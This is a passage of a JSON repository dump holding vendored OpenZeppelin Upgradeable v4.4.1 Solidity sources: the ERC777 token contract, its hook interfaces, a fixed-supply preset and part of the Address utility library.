    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/ERC777.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC777Upgradeable.sol\";\nimport \"./IERC777RecipientUpgradeable.sol\";\nimport \"./IERC777SenderUpgradeable.sol\";\nimport \"../ERC20/IERC20Upgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/introspection/IERC1820RegistryUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC777} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * Support for ERC20 is included in this contract, as specified by the EIP: both\n * the ERC777 and ERC20 interfaces can be safely used when interacting with it.\n * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token\n * movements.\n *\n * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there\n * are no special restrictions in the amount of tokens that created, moved, or\n * destroyed. This makes integration with ERC20 applications seamless.\n */\ncontract ERC777Upgradeable is Initializable, ContextUpgradeable, IERC777Upgradeable, IERC20Upgradeable {\n    using AddressUpgradeable for address;\n\n    IERC1820RegistryUpgradeable internal constant _ERC1820_REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n\n    mapping(address => uint256) private _balances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n\n    bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256(\"ERC777TokensSender\");\n    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256(\"ERC777TokensRecipient\");\n\n    // This isn't ever read from - it's only used to respond to the defaultOperators query.\n    address[] private _defaultOperatorsArray;\n\n    // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).\n    mapping(address => bool) private _defaultOperators;\n\n    // For each account, a mapping of its operators and revoked default operators.\n    mapping(address => mapping(address => bool)) private _operators;\n    mapping(address => mapping(address => bool)) private _revokedDefaultOperators;\n\n    // ERC20-allowances\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    /**\n     * @dev `defaultOperators` may be an empty array.\n     */\n    function __ERC777_init(\n        string memory name_,\n        string memory symbol_,\n        address[] memory defaultOperators_\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC777_init_unchained(name_, symbol_, defaultOperators_);\n    }\n\n    function __ERC777_init_unchained(\n        string memory name_,\n        string memory symbol_,\n        address[] memory defaultOperators_\n    ) internal onlyInitializing {\n        _name = name_;\n        _symbol = symbol_;\n\n        _defaultOperatorsArray = defaultOperators_;\n        for (uint256 i = 0; i < defaultOperators_.length; i++) {\n            _defaultOperators[defaultOperators_[i]] = true;\n        }\n\n        // register interfaces\n        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256(\"ERC777Token\"), address(this));\n        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256(\"ERC20Token\"), address(this));\n    }\n\n    /**\n     * @dev See {IERC777-name}.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev See {IERC777-symbol}.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev See {ERC20-decimals}.\n     *\n     * Always returns 18, as per the\n     * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).\n     */\n    function decimals() public pure virtual returns (uint8) {\n        return 18;\n    }\n\n    /**\n     * @dev See {IERC777-granularity}.\n     *\n     * This implementation always returns `1`.\n     */\n    function granularity() public view virtual override returns (uint256) {\n        return 1;\n    }\n\n    /**\n     * @dev See {IERC777-totalSupply}.\n     */\n    function totalSupply() public view virtual override(IERC20Upgradeable, IERC777Upgradeable) returns (uint256) {\n        return _totalSupply;\n    }\n\n    /**\n     * @dev Returns the amount of tokens owned by an account (`tokenHolder`).\n     */\n    function balanceOf(address tokenHolder) public view virtual override(IERC20Upgradeable, IERC777Upgradeable) returns (uint256) {\n        return _balances[tokenHolder];\n    }\n\n    /**\n     * @dev See {IERC777-send}.\n     *\n     * Also emits a {IERC20-Transfer} event for ERC20 compatibility.\n     */\n    function send(\n        address recipient,\n        uint256 amount,\n        bytes memory data\n    ) public virtual override {\n        _send(_msgSender(), recipient, amount, data, \"\", true);\n    }\n\n    /**\n     * @dev See {IERC20-transfer}.\n     *\n     * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}\n     * interface if it is a contract.\n     *\n     * Also emits a {Sent} event.\n     */\n    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n        require(recipient != address(0), \"ERC777: transfer to the zero address\");\n\n        address from = _msgSender();\n\n        _callTokensToSend(from, from, recipient, amount, \"\", \"\");\n\n        _move(from, from, recipient, amount, \"\", \"\");\n\n        _callTokensReceived(from, from, recipient, amount, \"\", \"\", false);\n\n        return true;\n    }\n\n    /**\n     * @dev See {IERC777-burn}.\n     *\n     * Also emits a {IERC20-Transfer} event for ERC20 compatibility.\n     */\n    function burn(uint256 amount, bytes memory data) public virtual override {\n        _burn(_msgSender(), amount, data, \"\");\n    }\n\n    /**\n     * @dev See {IERC777-isOperatorFor}.\n     */\n    function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {\n        return\n            operator == tokenHolder ||\n            (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||\n            _operators[tokenHolder][operator];\n    }\n\n    /**\n     * @dev See {IERC777-authorizeOperator}.\n     */\n    function authorizeOperator(address operator) public virtual override {\n        require(_msgSender() != operator, \"ERC777: authorizing self as operator\");\n\n        if (_defaultOperators[operator]) {\n            delete _revokedDefaultOperators[_msgSender()][operator];\n        } else {\n            _operators[_msgSender()][operator] = true;\n        }\n\n        emit AuthorizedOperator(operator, _msgSender());\n    }\n\n    /**\n     * @dev See {IERC777-revokeOperator}.\n     */\n    function revokeOperator(address operator) public virtual override {\n        require(operator != _msgSender(), \"ERC777: revoking self as operator\");\n\n        if (_defaultOperators[operator]) {\n            _revokedDefaultOperators[_msgSender()][operator] = true;\n        } else {\n            delete _operators[_msgSender()][operator];\n        }\n\n        emit RevokedOperator(operator, _msgSender());\n    }\n\n    /**\n     * @dev See {IERC777-defaultOperators}.\n     */\n    function defaultOperators() public view virtual override returns (address[] memory) {\n        return _defaultOperatorsArray;\n    }\n\n    /**\n     * @dev See {IERC777-operatorSend}.\n     *\n     * Emits {Sent} and {IERC20-Transfer} events.\n     */\n    function operatorSend(\n        address sender,\n        address recipient,\n        uint256 amount,\n        bytes memory data,\n        bytes memory operatorData\n    ) public virtual override {\n        require(isOperatorFor(_msgSender(), sender), \"ERC777: caller is not an operator for holder\");\n        _send(sender, recipient, amount, data, operatorData, true);\n    }\n\n    /**\n     * @dev See {IERC777-operatorBurn}.\n     *\n     * Emits {Burned} and {IERC20-Transfer} events.\n     */\n    function operatorBurn(\n        address account,\n        uint256 amount,\n        bytes memory data,\n        bytes memory operatorData\n    ) public virtual override {\n        require(isOperatorFor(_msgSender(), account), \"ERC777: caller is not an operator for holder\");\n        _burn(account, amount, data, operatorData);\n    }\n\n    /**\n     * @dev See {IERC20-allowance}.\n     *\n     * Note that operator and allowance concepts are orthogonal: operators may\n     * not have allowance, and accounts with allowance may not be operators\n     * themselves.\n     */\n    function allowance(address holder, address spender) public view virtual override returns (uint256) {\n        return _allowances[holder][spender];\n    }\n\n    /**\n     * @dev See {IERC20-approve}.\n     *\n     * Note that accounts cannot have allowance issued by their operators.\n     */\n    function approve(address spender, uint256 value) public virtual override returns (bool) {\n        address holder = _msgSender();\n        _approve(holder, spender, value);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-transferFrom}.\n     *\n     * Note that operator and allowance concepts are orthogonal: operators cannot\n     * call `transferFrom` (unless they have allowance), and accounts with\n     * allowance cannot call `operatorSend` (unless they are operators).\n     *\n     * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.\n     */\n    function transferFrom(\n        address holder,\n        address recipient,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        require(recipient != address(0), \"ERC777: transfer to the zero address\");\n        require(holder != address(0), \"ERC777: transfer from the zero address\");\n\n        address spender = _msgSender();\n\n        _callTokensToSend(spender, holder, recipient, amount, \"\", \"\");\n\n        _move(spender, holder, recipient, amount, \"\", \"\");\n\n        uint256 currentAllowance = _allowances[holder][spender];\n        require(currentAllowance >= amount, \"ERC777: transfer amount exceeds allowance\");\n        _approve(holder, spender, currentAllowance - amount);\n\n        _callTokensReceived(spender, holder, recipient, amount, \"\", \"\", false);\n\n        return true;\n    }\n\n    /**\n     * @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * If a send hook is registered for `account`, the corresponding function\n     * will be called with `operator`, `data` and `operatorData`.\n     *\n     * See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits {Minted} and {IERC20-Transfer} events.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - if `account` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function _mint(\n        address account,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) internal virtual {\n        _mint(account, amount, userData, operatorData, true);\n    }\n\n    /**\n     * @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * If `requireReceptionAck` is set to true, and if a send hook is\n     * registered for `account`, the corresponding function will be called with\n     * `operator`, `data` and `operatorData`.\n     *\n     * See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits {Minted} and {IERC20-Transfer} events.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - if `account` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function _mint(\n        address account,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) internal virtual {\n        require(account != address(0), \"ERC777: mint to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, address(0), account, amount);\n\n        // Update state variables\n        _totalSupply += amount;\n        _balances[account] += amount;\n\n        _callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);\n\n        emit Minted(operator, account, amount, userData, operatorData);\n        emit Transfer(address(0), account, amount);\n    }\n\n    /**\n     * @dev Send tokens\n     * @param from address token holder address\n     * @param to address recipient address\n     * @param amount uint256 amount of tokens to transfer\n     * @param userData bytes extra information provided by the token holder (if any)\n     * @param operatorData bytes extra information provided by the operator (if any)\n     * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient\n     */\n    function _send(\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) internal virtual {\n        require(from != address(0), \"ERC777: send from the zero address\");\n        require(to != address(0), \"ERC777: send to the zero address\");\n\n        address operator = _msgSender();\n\n        _callTokensToSend(operator, from, to, amount, userData, operatorData);\n\n        _move(operator, from, to, amount, userData, operatorData);\n\n        _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);\n    }\n\n    /**\n     * @dev Burn tokens\n     * @param from address token holder address\n     * @param amount uint256 amount of tokens to burn\n     * @param data bytes extra information provided by the token holder\n     * @param operatorData bytes extra information provided by the operator (if any)\n     */\n    function _burn(\n        address from,\n        uint256 amount,\n        bytes memory data,\n        bytes memory operatorData\n    ) internal virtual {\n        require(from != address(0), \"ERC777: burn from the zero address\");\n\n        address operator = _msgSender();\n\n        _callTokensToSend(operator, from, address(0), amount, data, operatorData);\n\n        _beforeTokenTransfer(operator, from, address(0), amount);\n\n        // Update state variables\n        uint256 fromBalance = _balances[from];\n        require(fromBalance >= amount, \"ERC777: burn amount exceeds balance\");\n        unchecked {\n            _balances[from] = fromBalance - amount;\n        }\n        _totalSupply -= amount;\n\n        emit Burned(operator, from, amount, data, operatorData);\n        emit Transfer(from, address(0), amount);\n    }\n\n    function _move(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) private {\n        _beforeTokenTransfer(operator, from, to, amount);\n\n        uint256 fromBalance = _balances[from];\n        require(fromBalance >= amount, \"ERC777: transfer amount exceeds balance\");\n        unchecked {\n            _balances[from] = fromBalance - amount;\n        }\n        _balances[to] += amount;\n\n        emit Sent(operator, from, to, amount, userData, operatorData);\n        emit Transfer(from, to, amount);\n    }\n\n    /**\n     * @dev See {ERC20-_approve}.\n     *\n     * Note that accounts cannot have allowance issued by their operators.\n     */\n    function _approve(\n        address holder,\n        address spender,\n        uint256 value\n    ) internal {\n        require(holder != address(0), \"ERC777: approve from the zero address\");\n        require(spender != address(0), \"ERC777: approve to the zero address\");\n\n        _allowances[holder][spender] = value;\n        emit Approval(holder, spender, value);\n    }\n\n    /**\n     * @dev Call from.tokensToSend() if the interface is registered\n     * @param operator address operator requesting the transfer\n     * @param from address token holder address\n     * @param to address recipient address\n     * @param amount uint256 amount of tokens to transfer\n     * @param userData bytes extra information provided by the token holder (if any)\n     * @param operatorData bytes extra information provided by the operator (if any)\n     */\n    function _callTokensToSend(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) private {\n        address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);\n        if (implementer != address(0)) {\n            IERC777SenderUpgradeable(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);\n        }\n    }\n\n    /**\n     * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but\n     * tokensReceived() was not registered for the recipient\n     * @param operator address operator requesting the transfer\n     * @param from address token holder address\n     * @param to address recipient address\n     * @param amount uint256 amount of tokens to transfer\n     * @param userData bytes extra information provided by the token holder (if any)\n     * @param operatorData bytes extra information provided by the operator (if any)\n     * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient\n     */\n    function _callTokensReceived(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) private {\n        address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);\n        if (implementer != address(0)) {\n            IERC777RecipientUpgradeable(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);\n        } else if (requireReceptionAck) {\n            require(!to.isContract(), \"ERC777: token recipient contract has no implementer for ERC777TokensRecipient\");\n        }\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes\n     * calls to {send}, {transfer}, {operatorSend}, minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * will be to transferred to `to`.\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n    uint256[41] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/IERC777RecipientUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.\n *\n * Accounts can be notified of {IERC777} tokens being sent to them by having a\n * contract implement this interface (contract holders can be their own\n * implementer) and registering it on the\n * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].\n *\n * See {IERC1820Registry} and {ERC1820Implementer}.\n */\ninterface IERC777RecipientUpgradeable {\n    /**\n     * @dev Called by an {IERC777} token contract whenever tokens are being\n     * moved or created into a registered account (`to`). The type of operation\n     * is conveyed by `from` being the zero address or not.\n     *\n     * This call occurs _after_ the token contract's state is updated, so\n     * {IERC777-balanceOf}, etc., can be used to query the post-operation state.\n     *\n     * This function may revert to prevent the operation from being executed.\n     */\n    function tokensReceived(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/IERC777SenderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC777TokensSender standard as defined in the EIP.\n *\n * {IERC777} Token holders can be notified of operations performed on their\n * tokens by having a contract implement this interface (contract holders can be\n * their own implementer) and registering it on the\n * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].\n *\n * See {IERC1820Registry} and {ERC1820Implementer}.\n */\ninterface IERC777SenderUpgradeable {\n    /**\n     * @dev Called by an {IERC777} token contract whenever a registered holder's\n     * (`from`) tokens are about to be moved or destroyed. The type of operation\n     * is conveyed by `to` being the zero address or not.\n     *\n     * This call occurs _before_ the token contract's state is updated, so\n     * {IERC777-balanceOf}, etc., can be used to query the pre-operation state.\n     *\n     * This function may revert to prevent the operation from being executed.\n     */\n    function tokensToSend(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/IERC777Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC777Token standard as defined in the EIP.\n *\n * This contract uses the\n * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let\n * token holders and recipients react to token movements by using setting implementers\n * for the associated interfaces in said registry. See {IERC1820Registry} and\n * {ERC1820Implementer}.\n */\ninterface IERC777Upgradeable {\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the symbol of the token, usually a shorter version of the\n     * name.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the smallest part of the token that is not divisible. This\n     * means all token operations (creation, movement and destruction) must have\n     * amounts that are a multiple of this number.\n     *\n     * For most token contracts, this value will equal 1.\n     */\n    function granularity() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens owned by an account (`owner`).\n     */\n    function balanceOf(address owner) external view returns (uint256);\n\n    /**\n     * @dev Moves `amount` tokens from the caller's account to `recipient`.\n     *\n     * If send or receive hooks are registered for the caller and `recipient`,\n     * the corresponding functions will be called with `data` and empty\n     * `operatorData`. See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits a {Sent} event.\n     *\n     * Requirements\n     *\n     * - the caller must have at least `amount` tokens.\n     * - `recipient` cannot be the zero address.\n     * - if `recipient` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function send(\n        address recipient,\n        uint256 amount,\n        bytes calldata data\n    ) external;\n\n    /**\n     * @dev Destroys `amount` tokens from the caller's account, reducing the\n     * total supply.\n     *\n     * If a send hook is registered for the caller, the corresponding function\n     * will be called with `data` and empty `operatorData`. See {IERC777Sender}.\n     *\n     * Emits a {Burned} event.\n     *\n     * Requirements\n     *\n     * - the caller must have at least `amount` tokens.\n     */\n    function burn(uint256 amount, bytes calldata data) external;\n\n    /**\n     * @dev Returns true if an account is an operator of `tokenHolder`.\n     * Operators can send and burn tokens on behalf of their owners. All\n     * accounts are their own operator.\n     *\n     * See {operatorSend} and {operatorBurn}.\n     */\n    function isOperatorFor(address operator, address tokenHolder) external view returns (bool);\n\n    /**\n     * @dev Make an account an operator of the caller.\n     *\n     * See {isOperatorFor}.\n     *\n     * Emits an {AuthorizedOperator} event.\n     *\n     * Requirements\n     *\n     * - `operator` cannot be calling address.\n     */\n    function authorizeOperator(address operator) external;\n\n    /**\n     * @dev Revoke an account's operator status for the caller.\n     *\n     * See {isOperatorFor} and {defaultOperators}.\n     *\n     * Emits a {RevokedOperator} event.\n     *\n     * Requirements\n     *\n     * - `operator` cannot be calling address.\n     */\n    function revokeOperator(address operator) external;\n\n    /**\n     * @dev Returns the list of default operators. These accounts are operators\n     * for all token holders, even if {authorizeOperator} was never called on\n     * them.\n     *\n     * This list is immutable, but individual holders may revoke these via\n     * {revokeOperator}, in which case {isOperatorFor} will return false.\n     */\n    function defaultOperators() external view returns (address[] memory);\n\n    /**\n     * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must\n     * be an operator of `sender`.\n     *\n     * If send or receive hooks are registered for `sender` and `recipient`,\n     * the corresponding functions will be called with `data` and\n     * `operatorData`. See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits a {Sent} event.\n     *\n     * Requirements\n     *\n     * - `sender` cannot be the zero address.\n     * - `sender` must have at least `amount` tokens.\n     * - the caller must be an operator for `sender`.\n     * - `recipient` cannot be the zero address.\n     * - if `recipient` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function operatorSend(\n        address sender,\n        address recipient,\n        uint256 amount,\n        bytes calldata data,\n        bytes calldata operatorData\n    ) external;\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, reducing the total supply.\n     * The caller must be an operator of `account`.\n     *\n     * If a send hook is registered for `account`, the corresponding function\n     * will be called with `data` and `operatorData`. See {IERC777Sender}.\n     *\n     * Emits a {Burned} event.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - `account` must have at least `amount` tokens.\n     * - the caller must be an operator for `account`.\n     */\n    function operatorBurn(\n        address account,\n        uint256 amount,\n        bytes calldata data,\n        bytes calldata operatorData\n    ) external;\n\n    event Sent(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256 amount,\n        bytes data,\n        bytes operatorData\n    );\n\n    event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);\n\n    event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);\n\n    event AuthorizedOperator(address indexed operator, address indexed tokenHolder);\n\n    event RevokedOperator(address indexed operator, address indexed tokenHolder);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/README.adoc",
    "content": "= ERC 777\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc777\n\nThis set of interfaces and contracts are all related to the [ERC777 token standard](https://eips.ethereum.org/EIPS/eip-777).\n\nTIP: For an overview of ERC777 tokens and a walk through on how to create a token contract read our xref:ROOT:erc777.adoc[ERC777 guide].\n\nThe token behavior itself is implemented in the core contracts: {IERC777}, {ERC777}.\n\nAdditionally there are interfaces used to develop contracts that react to token movements: {IERC777Sender}, {IERC777Recipient}.\n\n== Core\n\n{{IERC777}}\n\n{{ERC777}}\n\n== Hooks\n\n{{IERC777Sender}}\n\n{{IERC777Recipient}}\n\n== Presets\n\nThese contracts are preconfigured combinations of features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC777PresetFixedSupply}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/presets/ERC777PresetFixedSupplyUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol)\npragma solidity ^0.8.0;\n\nimport \"../ERC777Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev {ERC777} token, including:\n *\n *  - Preminted initial supply\n *  - No access control mechanism (for minting/pausing) and hence no governance\n *\n * _Available since v3.4._\n */\ncontract ERC777PresetFixedSupplyUpgradeable is Initializable, ERC777Upgradeable {\n    function initialize(\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators,\n        uint256 initialSupply,\n        address owner\n    ) public virtual initializer {\n        __ERC777PresetFixedSupply_init(name, symbol, defaultOperators, initialSupply, owner);\n    }\n    /**\n     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.\n     *\n     * See {ERC777-constructor}.\n     */\n    function __ERC777PresetFixedSupply_init(\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators,\n        uint256 initialSupply,\n        address owner\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC777_init_unchained(name, symbol, defaultOperators);\n        __ERC777PresetFixedSupply_init_unchained(name, symbol, defaultOperators, initialSupply, owner);\n    }\n\n    function __ERC777PresetFixedSupply_init_unchained(\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators,\n        uint256 initialSupply,\n        address owner\n    ) internal onlyInitializing {\n        _mint(owner, initialSupply, \"\", \"\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n    /**\n     * @dev Returns true if `account` is a contract.\n     *\n     * [IMPORTANT]\n     * ====\n     * It is unsafe to assume that an address for which this function returns\n     * false is an externally-owned account (EOA) and not a contract.\n     *\n     * Among others, `isContract` will return false for the following\n     * types of addresses:\n     *\n     *  - an externally-owned account\n     *  - a contract in construction\n     *  - an address where a contract will be created\n     *  - an address where a contract lived, but was destroyed\n     * ====\n     */\n    function isContract(address account) internal view returns (bool) {\n        // This method relies on extcodesize, which returns 0 for contracts in\n        // construction, since the code is only stored at the end of the\n        // constructor execution.\n\n        uint256 size;\n        assembly {\n            size := extcodesize(account)\n        }\n        return size > 0;\n    }\n\n    /**\n     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n     * `recipient`, forwarding all available gas and reverting on errors.\n     *\n     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n     * of certain opcodes, possibly making contracts go over the 2300 gas limit\n     * imposed by `transfer`, making them unable to receive funds via\n     * `transfer`. {sendValue} removes this limitation.\n     *\n     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n     *\n     * IMPORTANT: because control is transferred to `recipient`, care must be\n     * taken to not create reentrancy vulnerabilities. Consider using\n     * {ReentrancyGuard} or the\n     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n     */\n    function sendValue(address payable recipient, uint256 amount) internal {\n        require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n        (bool success, ) = recipient.call{value: amount}(\"\");\n        require(success, \"Address: unable to send value, recipient may have reverted\");\n    }\n\n    /**\n     * @dev Performs a Solidity function call using a low level `call`. A\n     * plain `call` is an unsafe replacement for a function call: use this\n     * function instead.\n     *\n     * If `target` reverts with a revert reason, it is bubbled up by this\n     * function (like regular Solidity function calls).\n     *\n     * Returns the raw returned data. To convert to the expected return value,\n     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n     *\n     * Requirements:\n     *\n     * - `target` must be a contract.\n     * - calling `target` with `data` must not revert.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionCall(target, data, \"Address: low-level call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n     * `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, 0, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but also transferring `value` wei to `target`.\n     *\n     * Requirements:\n     *\n     * - the calling contract must have an ETH balance of at least `value`.\n     * - the called Solidity function must be `payable`.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(\n        address target,\n        bytes memory data,\n        uint256 value\n    ) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n     * with `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(\n        address target,\n        bytes memory data,\n        uint256 value,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        require(address(this).balance >= value, \"Address: insufficient balance for call\");\n        require(isContract(target), \"Address: call to non-contract\");\n\n        (bool success, bytes memory returndata) = target.call{value: value}(data);\n        return verifyCallResult(success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n        return functionStaticCall(target, data, \"Address: low-level static call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since 